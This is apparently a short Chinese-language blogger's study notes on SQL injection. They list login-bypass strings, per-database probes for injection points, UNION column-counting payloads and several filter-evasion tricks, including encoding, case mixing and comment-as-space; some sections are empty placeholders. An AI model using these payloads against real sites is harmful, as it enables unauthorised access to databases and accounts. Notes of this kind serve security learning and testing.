Scu_laji

sql注入

本菜鸡

关于 sql 注入的一些总结

万能密码

1
2
3
admin'--
' OR 1=1--
' or '1' ='1

判断 sql 注入点

字符型数据

1
2
3
4
5
'
''
Oracle '||'FOO
MS-SQL '+'FOO
Mysql ' 'FOO

数字数据

1
2
3
输入一个数字表达式 如 1+1
然后 67-ASCII('A')
或者 52-ASCII(2)

注意

HTTP 协议对某些字符具有特殊含义
需要转义

& = space + 分号

%26 %3d +或%20 %2b %3b

注入查询结构

啦啦啦

识别数据库

emmm, sqlmap 做的不错了

UNION

tricks

1
2
3
4
使用NULL来得到列数量
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL ,NULL--

过滤

过滤引号

1
2
Oracle 使用 CHR(109)||CHR(97)
MS-SQL 使用 CHAR(109)+CHAR(97)

过滤注释

1
2
3
' or 1=1 --
改成下面的
' or 'a'='a

尝试复杂输入

1
2
3
4
SeLeCt (大小写混杂)
%00SELECT (利用php截断)
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554

过滤空格

1
2
3
4
5
Oracle && MS-SQL && Mysql
/*test*/ 使用注释符来当做空格
Mysql
SEL/*test*/ECT
甚至可以这样用

有缺陷的过滤

pass

###